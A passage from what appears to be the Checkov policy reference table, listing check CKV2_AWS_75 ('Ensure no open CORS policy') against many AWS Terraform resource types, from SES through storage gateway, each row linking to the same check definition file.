                                                                                | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3423 | CKV2_AWS_75     | resource | aws_ses_active_receipt_rule_set                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3424 | CKV2_AWS_75     | resource | aws_ses_configuration_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3425 | CKV2_AWS_75     | resource | aws_ses_domain_dkim                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3426 | CKV2_AWS_75     | resource | aws_ses_domain_identity                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3427 | CKV2_AWS_75     | resource | aws_ses_domain_identity_verification                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3428 | CKV2_AWS_75     | resource | aws_ses_domain_mail_from                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3429 | CKV2_AWS_75     | resource | aws_ses_email_identity                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3430 | CKV2_AWS_75     | resource | aws_ses_event_destination                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3431 | CKV2_AWS_75     | resource | aws_ses_identity_notification_topic                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3432 | CKV2_AWS_75     | resource | aws_ses_identity_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3433 | CKV2_AWS_75     | resource | aws_ses_receipt_filter                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3434 | CKV2_AWS_75     | resource | aws_ses_receipt_rule                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3435 | CKV2_AWS_75     | resource | aws_ses_receipt_rule_set                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3436 | CKV2_AWS_75     | resource | aws_ses_template                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3437 | CKV2_AWS_75     | resource | aws_sesv2_account_suppression_attributes                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3438 | CKV2_AWS_75     | resource | aws_sesv2_account_vdm_attributes                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3439 | CKV2_AWS_75     | resource | aws_sesv2_configuration_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3440 | CKV2_AWS_75     | resource | aws_sesv2_configuration_set_event_destination                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3441 | CKV2_AWS_75     | resource | aws_sesv2_contact_list                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3442 | CKV2_AWS_75     | resource | aws_sesv2_dedicated_ip_assignment                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3443 | CKV2_AWS_75     | resource | aws_sesv2_dedicated_ip_pool                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3444 | CKV2_AWS_75     | resource | aws_sesv2_email_identity                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3445 | CKV2_AWS_75     | resource | aws_sesv2_email_identity_feedback_attributes                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3446 | CKV2_AWS_75     | resource | aws_sesv2_email_identity_mail_from_attributes                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3447 | CKV2_AWS_75     | resource | aws_sesv2_email_identity_policy                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3448 | CKV2_AWS_75     | resource | aws_sfn_activity                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3449 | CKV2_AWS_75     | resource | aws_sfn_alias                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3450 | CKV2_AWS_75     | resource | aws_sfn_state_machine                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3451 | CKV2_AWS_75     | resource | aws_shield_application_layer_automatic_response                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3452 | CKV2_AWS_75     | resource | aws_shield_drt_access_log_bucket_association                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3453 | CKV2_AWS_75     | resource | aws_shield_drt_access_role_arn_association                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3454 | CKV2_AWS_75     | resource | aws_shield_proactive_engagement                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3455 | CKV2_AWS_75     | resource | aws_shield_protection                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3456 | CKV2_AWS_75     | resource | aws_shield_protection_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3457 | CKV2_AWS_75     | resource | aws_shield_protection_health_check_association                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3458 | CKV2_AWS_75     | resource | aws_shield_subscription                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3459 | CKV2_AWS_75     | resource | aws_signer_signing_job                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3460 | CKV2_AWS_75     | resource | aws_signer_signing_profile                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3461 | CKV2_AWS_75     | resource | aws_signer_signing_profile_permission                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3462 | CKV2_AWS_75     | resource | aws_simpledb_domain                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3463 | CKV2_AWS_75     | resource | aws_snapshot_create_volume_permission                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3464 | CKV2_AWS_75     | resource | aws_sns_platform_application                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3465 | CKV2_AWS_75     | resource | aws_sns_sms_preferences                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3466 | CKV2_AWS_75     | resource | aws_sns_topic                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3467 | CKV2_AWS_75     | resource | aws_sns_topic_data_protection_policy                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3468 | CKV2_AWS_75     | resource | aws_sns_topic_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3469 | CKV2_AWS_75     | resource | aws_sns_topic_subscription                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3470 | CKV2_AWS_75     | resource | aws_spot_datafeed_subscription                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3471 | CKV2_AWS_75     | resource | aws_spot_fleet_request                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3472 | CKV2_AWS_75     | resource | aws_spot_instance_request                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3473 | CKV2_AWS_75     | resource | aws_sqs_queue                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3474 | CKV2_AWS_75     | resource | aws_sqs_queue_policy                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3475 | CKV2_AWS_75     | resource | aws_sqs_queue_redrive_allow_policy                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3476 | CKV2_AWS_75     | resource | aws_sqs_queue_redrive_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3477 | CKV2_AWS_75     | resource | aws_ssm_activation                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3478 | CKV2_AWS_75     | resource | aws_ssm_association                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3479 | CKV2_AWS_75     | resource | aws_ssm_default_patch_baseline                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3480 | CKV2_AWS_75     | resource | aws_ssm_document                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3481 | CKV2_AWS_75     | resource | aws_ssm_maintenance_window                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3482 | CKV2_AWS_75     | resource | aws_ssm_maintenance_window_target                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3483 | CKV2_AWS_75     | resource | aws_ssm_maintenance_window_task                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3484 | CKV2_AWS_75     | resource | aws_ssm_parameter                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3485 | CKV2_AWS_75     | resource | aws_ssm_patch_baseline                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3486 | CKV2_AWS_75     | resource | aws_ssm_patch_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3487 | CKV2_AWS_75     | resource | aws_ssm_resource_data_sync                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3488 | CKV2_AWS_75     | resource | aws_ssm_service_setting                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3489 | CKV2_AWS_75     | resource | aws_ssmcontacts_contact                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3490 | CKV2_AWS_75     | resource | aws_ssmcontacts_contact_channel                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3491 | CKV2_AWS_75     | resource | aws_ssmcontacts_plan                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3492 | CKV2_AWS_75     | resource | aws_ssmcontacts_rotation                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3493 | CKV2_AWS_75     | resource | aws_ssmincidents_replication_set                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3494 | CKV2_AWS_75     | resource | aws_ssmincidents_response_plan                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3495 | CKV2_AWS_75     | resource | aws_ssmquicksetup_configuration_manager                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3496 | CKV2_AWS_75     | resource | aws_ssoadmin_account_assignment                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3497 | CKV2_AWS_75     | resource | aws_ssoadmin_application                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3498 | CKV2_AWS_75     | resource | aws_ssoadmin_application_access_scope                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3499 | CKV2_AWS_75     | resource | aws_ssoadmin_application_assignment                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3500 | CKV2_AWS_75     | resource | aws_ssoadmin_application_assignment_configuration                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3501 | CKV2_AWS_75     | resource | aws_ssoadmin_customer_managed_policy_attachment                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3502 | CKV2_AWS_75     | resource | aws_ssoadmin_instance_access_control_attributes                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3503 | CKV2_AWS_75     | resource | aws_ssoadmin_managed_policy_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3504 | CKV2_AWS_75     | resource | aws_ssoadmin_permission_set                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3505 | CKV2_AWS_75     | resource | aws_ssoadmin_permission_set_inline_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3506 | CKV2_AWS_75     | resource | aws_ssoadmin_permissions_boundary_attachment                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3507 | CKV2_AWS_75     | resource | aws_ssoadmin_trusted_token_issuer                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3508 | CKV2_AWS_75     | resource | aws_storagegateway_cache                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3509 | CKV2_AWS_75     | resource | aws_storagegateway_cached_iscsi_volume                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3510 | CKV2_AWS_75     | resource | aws_storagegateway_file_system_association                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3511 | CKV2_AWS_75     | resource | aws_storagegateway_gateway                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3512 | CKV2_AWS_75     | resource | aws_storagegateway_nfs_file_share                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3513 | CKV2_AWS_75     | resource | aws_storagegateway_smb_file_share                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3514 | CKV2_AWS_75     | resource | aws_storagegateway_stored_iscsi_volume                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3515 | CKV2_AWS_75     | resource | aws_storagegateway_tape_pool                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3516 | CKV2_AWS_75     | resource | aws_storagegateway_upload_buffer                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3517 | CKV2_AWS_75     | resource | aws_storagegateway_working_storage                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3518 | CKV2_AWS_75     | resource | aws_subnet                                                       | 